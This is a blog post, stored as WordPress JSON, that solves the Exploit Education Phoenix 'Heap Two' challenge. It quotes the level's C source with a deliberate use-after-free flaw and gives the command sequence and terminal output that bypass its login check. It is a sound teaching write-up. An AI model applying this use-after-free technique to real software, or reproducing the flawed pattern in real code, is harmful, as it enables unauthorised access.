{"id":644,"date":"2019-08-16T13:01:37","date_gmt":"2019-08-16T17:01:37","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=644"},"modified":"2019-08-16T15:29:00","modified_gmt":"2019-08-16T19:29:00","slug":"exploit-education-phoenix-heap-two-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-heap-two-solution\/","title":{"rendered":"Exploit Education | Phoenix | Heap Two Solution"},"content":{"rendered":"<p>This level explores why you should always explicitly initialize your allocated memory, and what can occur when pointer values go stale.<\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/heap-two\/\">http:\/\/exploit.education\/phoenix\/heap-two\/<\/a><\/p>\n<p>So I&#8217;m actually a little embarrassed about how long it took me to find the solution here. There&#8217;s really no need to use GDB if you have an understanding of the C programming language (more specifically, pointers and the allocation\/deallocation of memory).<\/p>\n<p>Let&#8217;s analyze the source code. First, we have declarations for the <strong>auth<\/strong> struct, a pointer to the <strong>auth<\/strong> struct, and a character pointer called service. The<span style=\"font-family: Courier New; font-weight: bold;\"> main() <\/span>function declares a &#8220;string&#8221; variable called <strong>line<\/strong> and prints the banner:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">struct auth {\r\n    char name&#x5B;32];\r\n    int auth;\r\n};\r\n\r\nstruct auth *auth;\r\nchar *service;\r\n\r\nint main(int argc, char **argv) {\r\n    char line&#x5B;128];\r\n\r\n    printf(&quot;%s\\n&quot;, BANNER);\r\n    ...<\/pre>\n<p>In the heart of the program is an infinite while loop. This loop prints the current values of the auth &#038; service pointers, waits for user input, and uses several <strong>if<\/strong> statements to give the user a list of commands to run. The possibilities are auth, reset, service, and login:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">    ...\r\n    while (1) {\r\n        printf(&quot;&#x5B; auth = %p, service = %p ]\\n&quot;, auth, service);\r\n\r\n        if (fgets(line, sizeof(line), stdin) == NULL) break;\r\n\r\n        if (strncmp(line, &quot;auth &quot;, 5) == 0) {\r\n            auth = malloc(sizeof(struct auth));\r\n            memset(auth, 0, sizeof(struct auth));\r\n            if (strlen(line + 5) &lt; 31) {\r\n                strcpy(auth-&gt;name, line + 5);\r\n            }\r\n        }\r\n        if (strncmp(line, &quot;reset&quot;, 5) == 0) {\r\n            free(auth);\r\n        }\r\n        if (strncmp(line, &quot;service&quot;, 6) == 0) {\r\n            service = strdup(line + 7);\r\n        }\r\n        if (strncmp(line, &quot;login&quot;, 5) == 0) {\r\n            if (auth &amp;&amp; auth-&gt;auth) {\r\n                printf(&quot;you have logged in already!\\n&quot;);\r\n            } else {\r\n                printf(&quot;please enter your password\\n&quot;);\r\n            }\r\n        }\r\n    }\r\n}<\/pre>\n<p>If the first 5 characters of user input equals<span style=\"font-family: Courier New; font-weight: bold;\"> &#34;auth &#34;<\/span>, then several other things happen. Memory is allocated on the heap for the <strong>auth<\/strong> struct, it&#8217;s initialized with null bytes, and if the length of user input after the command is less than 31, then it&#8217;s saved to the struct&#8217;s <strong>name<\/strong> variable.<\/p>\n<p>If the first 5 characters of user input equals<span style=\"font-family: Courier New; font-weight: bold;\"> &#34;reset&#34;<\/span>, then the heap space memory for the <strong>auth<\/strong> struct is freed.<\/p>\n<p>If the first 6 characters of user input equals<span style=\"font-family: Courier New; font-weight: bold;\"> &#34;servic&#34;<\/span> (I&#8217;m not sure why this doesn&#8217;t include the last letter of &#8220;service&#8221;, perhaps a typo?), then all user input after the first 7 characters is saved to the heap with the <strong>service<\/strong> variable pointing to it.<\/p>\n<p>If the first 5 characters of user input equals<span style=\"font-family: Courier New; font-weight: bold;\"> &#34;login&#34;<\/span>, then an additional check occurs. If the <strong>auth<\/strong> struct is defined as well as the <strong>auth->auth<\/strong> member (integer variable), then we complete the level with the message, &#8220;you have logged in already!&#8221; Otherwise, we&#8217;ll get the message, &#8220;please enter your password.&#8221;<\/p>\n<p>We can actually use these commands, one at a time and in order, to solve this level. But first, it&#8217;s important to understand the layout of memory in the heap for these variables. When memory is allocated for the <strong>auth<\/strong> struct, it will reserve 36 bytes on the heap. 32 for the <strong>auth->name<\/strong> &#8220;string&#8221; and 4 for the <strong>auth->auth<\/strong> integer. The program doesn&#8217;t allow us to directly modify the integer (and a good thing too or else this wouldn&#8217;t be a challenge), but if it did, this would be saved right after the 32 bytes for the <strong>name<\/strong> variable. When the<span style=\"font-family: Courier New; font-weight: bold;\"> free() <\/span>function is used (with a pointer to that space as an argument), those 36 bytes on the heap are now available for use. In this case, the next time<span style=\"font-family: Courier New; font-weight: bold;\"> malloc() <\/span>or<span style=\"font-family: Courier New; font-weight: bold;\"> strdup() <\/span>is called, those bytes will be re-used.<\/p>\n<p>With that in mind, I present the solution. First, I get the <strong>auth<\/strong> struct initialized with the &#8220;auth&#8221; command using any &#8216;ol value (in this case, a single &#8216;A&#8217;). Next, I free the heap space using the &#8220;reset&#8221; command. Note, however, that this does not remove, delete, or change the <strong>auth<\/strong> pointer in any way. This is now what&#8217;s called a &#8220;stale pointer.&#8221; Then I&#8217;ll use the &#8220;service&#8221; command to save any &#8216;ol value to the heap that&#8217;s <em>at least<\/em> 32 bytes long (in this case, 32 &#8216;B&#8217;s). This will write data into the space that was once used for the <strong>auth->auth<\/strong> integer. If, exactly, 32 bytes is used, then that space will hold the newline character (0x0a) that&#8217;s saved at the end of the user input. Finally, I&#8217;ll use the &#8220;login&#8221; command to verify that this worked:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:~$ \/opt\/phoenix\/i486\/heap-two\r\nWelcome to phoenix\/heap-two, brought to you by https:\/\/exploit.education\r\n&#x5B; auth = 0, service = 0 ]\r\nauth A\r\n&#x5B; auth = 0x8049af0, service = 0 ]\r\nreset\r\n&#x5B; auth = 0x8049af0, service = 0 ]\r\nserviceBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n&#x5B; auth = 0x8049af0, service = 0x8049af0 ]\r\nlogin\r\nyou have logged in already!<\/pre>\n<p>I also wanted to provide a bit of a visual with what&#8217;s happening in the heap:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">Heap space after &quot;auth A&quot; command:\r\n ADDRESS       VALUE\r\n           +------------+\r\n0x08049af0 | 0x00000a41 | &lt;= auth-&gt;name variable (char)\r\n0x08049af4 | 0x00000000 |\r\n0x08049af8 | 0x00000000 |\r\n0x08049afc | 0x00000000 |\r\n0x08049b00 | 0x00000000 |\r\n0x08049b04 | 0x00000000 |\r\n0x08049b08 | 0x00000000 |\r\n0x08049b0c | 0x00000000 |\r\n0x08049b10 | 0x00000000 | &lt;= auth-&gt;auth variable (int)\r\n           +------------+\r\n\r\nHeap space after &quot;service&quot; + 32x'B' command:\r\n ADDRESS       VALUE\r\n           +------------+\r\n0x08049af0 | 0x42424242 | &lt;= auth-&gt;name variable (char)\r\n0x08049af4 | 0x42424242 |\r\n0x08049af8 | 0x42424242 |\r\n0x08049afc | 0x42424242 |\r\n0x08049b00 | 0x42424242 |\r\n0x08049b04 | 0x42424242 |\r\n0x08049b08 | 0x42424242 |\r\n0x08049b0c | 0x42424242 |\r\n0x08049b10 | 0x0000000a | &lt;= auth-&gt;auth variable (int)\r\n           +------------+<\/pre>\n<p>As you can see, that last newline character (0x0a) has now changed the former <strong>auth->auth<\/strong> variable. This program demonstrates what&#8217;s called a Use After Free vulnerability This happens when data on the heap is freed, but a leftover reference or &#8220;stale pointer&#8221; is used by the code as if the data were still valid.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This level explores why you should always explicitly initialize your allocated memory, and what can occur when pointer values go stale &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-heap-two-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Heap Two Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-644","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/644","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=644"}],"version-history":[{"count":19,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/644\/revisions"}],"predecessor-version":[{"id":694,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/644\/revisions\/694"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=644"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=644"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=644"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}